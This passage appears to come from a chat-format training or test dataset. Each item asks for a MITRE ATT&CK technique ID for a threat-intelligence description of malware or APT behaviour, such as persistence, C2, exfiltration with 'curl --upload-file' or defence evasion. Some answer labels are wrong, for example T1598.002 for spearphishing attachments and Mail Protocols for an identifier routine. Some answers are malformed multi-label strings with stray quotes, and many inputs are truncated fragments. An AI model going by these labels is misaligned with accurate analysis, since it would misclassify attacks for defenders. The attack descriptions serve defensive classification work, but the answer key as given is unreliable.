                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The persistence is done during the first execution of the malware using a well-known technique, the “Logon scripts”. It creates a script file registration.bat and writes several strings from the TForm1 object. The final script is"
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends \"www. to the configured C2 domain and issues a DNS query to resolve this domain"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to acquire credentials any time a domain, local user, or administrator logs in or changes a password."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has been delivered via phishing emails with malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN's installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type can download additional files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to download additional payloads from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"net view\" command on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features, which rely on MOTW tagging – for example, ‘Protected View’ in Microsoft Office. This zero-day has a moderate CVSS risk score of 5.4, because it only helps to avoid the Microsoft Defender SmartScreen defense mechanism, which has no RCE or DoS functionality."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi achieves persistence using Userinit by adding the Registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses the \"net user\" command."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since then, the threat actors have expanded delivery to include malicious spam campaigns, RDP attacks, and other attack vectors. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on. More information about the Load registry key may be found here"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "launches a shell to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has obtained tools such as AD Explorer inspection software for their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware (example in Figure 6"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME can execute commands using a shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collect document files with the suffixes \".txt\", \".doc\" and \".xls\" in the Internet cache directory of the IE browser"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used Ruby scripts to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used the WMIEXEC utility to execute \"whoami\" commands on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some data in Remsec is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unknown Logger has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos has full control of the Registry, including the ability to modify it."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, Microsoft warned that this vulnerability could be used in the crafting of a wormable exploit. The Common Vulnerabilities and Exposures (CVE) site references this vulnerability as CVE-2008-4250"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.ToolsTaegis™ XDR Adversary Software Coverage Tool"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Flash Player (CVE-2016-4117, CVE-2018-4878) and Word (CVE-2017-0199) exploits for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi utilizes Run Registry keys in the HKLM hive as a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb has used a dynamic XOR key and custom XOR methodology for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has used the \"curl --upload-file\" command to exfiltrate data over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the size is 7 bytes or more, the backdoor verifies that the command and control server sent an encoded package"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Droppers used by  use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses RDP to tunnel traffic from a victim environment."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter sent generated reports to the C2 via HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This module has been described before in the article here. The first instructions in the main function hide the console window from the user. Afterward, the module will delete old \"sft\" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used base64-encoded files that are dropped to victims."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can use an add on feature when creating payloads that allows you to create custom Python scripts (“scriptlets”) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather the IP address from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux has a command to execute a shell command on the system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence through the system screensaver by configuring it to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net use \\\\system\\share /delete\" command can be used in Net to remove an established connection to a network share."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can spread across systems by infecting removable media."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses WMI to perform discovery techniques."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector can identify processes via C# methods such as \"GetProcessesByName\" and running Tasklist with the Python \"os.popen\" function."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After deobfuscation you can see “Imminent Monitor” string which may indicate it is related to Imminent Monitor RAT"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1123 - Audio Capture', 'T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT has the ability to inject malicious DLLs into a specific process for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This campaign began with a handful of spear phishing emails to South Korean targets and containing malicious attachments"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious can use PowerShell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke used shell scripts to run commands which would obtain persistence and execute the cryptocurrency mining malware."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use automated methods, such as scripts, for collecting data (Automated Collection [T1119]) - Capture user input to obtain credentials and collect information (Input Capture [T1056]) - Collect local systems data from a compromised system (Data from Local System [T1005]) - Take screen captures of the desktop (Screen Capture [T1113]) - Collect data stored in the Windows clipboard from users (Clipboard Data [T1115"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then allocates a buffer with PAGE_EXECUTE_READWRITE protection to store the decrypted code. After the buffers are allocated, the packer checks if a string argument, which will be used as a decryption key, was passed to the AddByGod function. Next, the packer uses the AES256 algorithm with a SHA1 derived key of the passed argument to decrypt the encrypted code. If the decryption is successful, the decrypted code is executed and a second stage payload runs. Luckily, we managed to obtain the password that was needed to execute the binary and decrypt the encrypted payload"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MURKYTOP has the capability to retrieve information about groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To inject the OpenSSH server configuration directly into memory, Ebury parses the sshd binary’s code section mapped in the same process looking for two different functions. If it fails, it downgrades security features by disabling SELinux Role-Based Access Control and deactivating PAM modules. When one of the functions is successfully resolved, Ebury will use this when the backdoor is used to tamper with sshd‘s configuration"
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon installer can use UAC bypass techniques to install the payload."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole is capable of scanning enabled wireless networks on the compromised system. It records information such as the SSID and MAC address of the visible Wi-Fi access points"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has tested if the localhost network is available and other connection capability on an infected system using command scripts."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also creates a unique system specific identifier that it will use during the C2 communications to send and receive messages. The system specific identifier is a 16 character string that the Trojan creates using the serial number of the C volume and the first 4 hexadecimal bytes from Environment.UserName"
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials. APT28 close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "removes logs from /var/logs and /Library/logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has used VBA macros to display a dialog box and collect victim credentials."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can download its payload from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has used the MPRESS packer and similar tools for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to do real time screen viewing on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET loads a system level launchdaemon using the \"launchctl load -w\" command from \"/System/Librarby/LaunchDaemons/ssh.plist\"."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used PowerShell scripts to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can add \"init.d\" and \"rc.d\" files in the \"/etc\" folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: Rc.common"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
